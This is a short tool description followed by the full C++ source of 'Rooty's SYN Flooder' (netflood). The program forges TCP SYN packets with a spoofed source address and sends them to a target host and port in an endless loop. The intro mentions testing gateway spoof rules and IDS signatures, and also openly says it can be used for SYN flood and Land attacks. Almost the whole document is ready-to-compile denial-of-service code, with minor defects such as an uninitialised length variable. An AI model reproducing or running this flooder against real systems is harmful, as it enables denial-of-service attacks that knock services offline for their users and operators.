Netflood.c is useful for testing spoof rules on gateways, testing SYN flood defense mechanisms/configurations (like Checkpoint's SYNdefender module), testing IDS Syn flood/Land attack signatures. It can, of course, be used for engaging in Syn Flood attacks and Land attacks. It also counts number of packets sent.
bda55ddbfb8ea2fe1cd54c3ee88c9a6cb350c464a7d1d47fddb41703ca8ce298
/* Rooty's SYN Flooder -Aka."netflood"
* Rooty@netflood.net
* http://www.netflood.net
* "We Won't Waste Your Time."
* To compile: g++ -o netflood netflood.c
* Usage: ./netflood <spoofed IP address> <target> <port#>
*/
#include <netdb.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/in.h>
#include <netinet/ip_icmp.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <iostream.h>
#include <sys/types.h>
#include <unistd.h>
void counter(unsigned int);
void banner(void);
void main(int argc,char **argv)
{
banner();
int sockfd;
int on = 1;
int datalen;
char sendbuffer[300];
struct iphdr *iphdr;
struct tcphdr *tcphdr;
struct sockaddr_in target;
if(argc != 4)
{
cout<<"\n\nbash#./netflood <source IP> <Target> <Port> \n";
return 0;
}
if((sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) <0)
{
cout<<"\n\nError socket()";
cout<<"\nAre you root ? \n";
return 0;
}
setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));
iphdr = (struct iphdr*)sendbuffer;
tcphdr = (struct tcphdr*) (sendbuffer + sizeof(struct iphdr));
iphdr->ihl = 5;
iphdr->version = 4;
iphdr->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr) +
datalen);
iphdr->id= 1611;
iphdr->frag_off = 0;
iphdr->ttl = 200;
iphdr->protocol = IPPROTO_TCP;
iphdr->saddr = inet_addr(argv[1]);
iphdr->daddr = inet_addr(argv[2]);
tcphdr->source = htons(1611);
tcphdr->dest = htons(atol(argv[3]));
tcphdr->seq = random();
tcphdr->doff = 5;
tcphdr->syn = 1;
tcphdr->window = htons(6111);
target.sin_family = AF_INET;
target.sin_addr.s_addr = iphdr->daddr;
target.sin_port = tcphdr->dest;
cout<<"\n\nSyn-Flood attack is started from \n";
cout<<argv[1]<<" to \n";
cout<<argv[2]<<" on Port "<<argv[3]<<" \n";
cout<<"\nstatus :";
cout<<"0000000000";
for(unsigned int i = 0;;i++)
{
sendto(sockfd, sendbuffer,sizeof(sendbuffer),0,(struct sockaddr *)&target,sizeof(target));
counter(i);
}
cout<<"\n\n";
return 0;
}
void banner(void)
{
cout<<"\n#######################################";
cout<<"\n# Rooty's Synflooder (aka. Netflood) #";
cout<<"\n# http://www.netflood.net #";
cout<<"\n# We Won't Waste Your Time. #";
cout<<"\n# Rooty@netflood.net #";
cout<<"\n#######################################";
}
void counter(unsigned int i)
{
if(i < 10)
{
cout<<'\b';
}
if(i >= 10 && i < 100)
{
cout<<"\b\b";
}
if(i >= 100 && i < 1000)
{
cout<<"\b\b\b";
}
if(i >= 1000 && i < 10000)
{
cout<<"\b\b\b\b";
}
if(i >= 10000 && i < 100000)
{
cout<<"\b\b\b\b\b";
}
if(i >= 100000 && i < 1000000)
{
cout<<"\b\b\b\b\b\b";
}
if(i >= 1000000 && i < 10000000)
{
cout<<"\b\b\b\b\b\b";
}
if(i >= 10000000 && i < 100000000)
{
cout<<"\b\b\b\b\b\b\b";
}
if(i >= 100000000 && i < 1000000000)
{
cout<<i;
}
if(i >= 1000000000)
{
cout<<"\b\b\b\b\b\b\b\b";
}
cout<<i;
}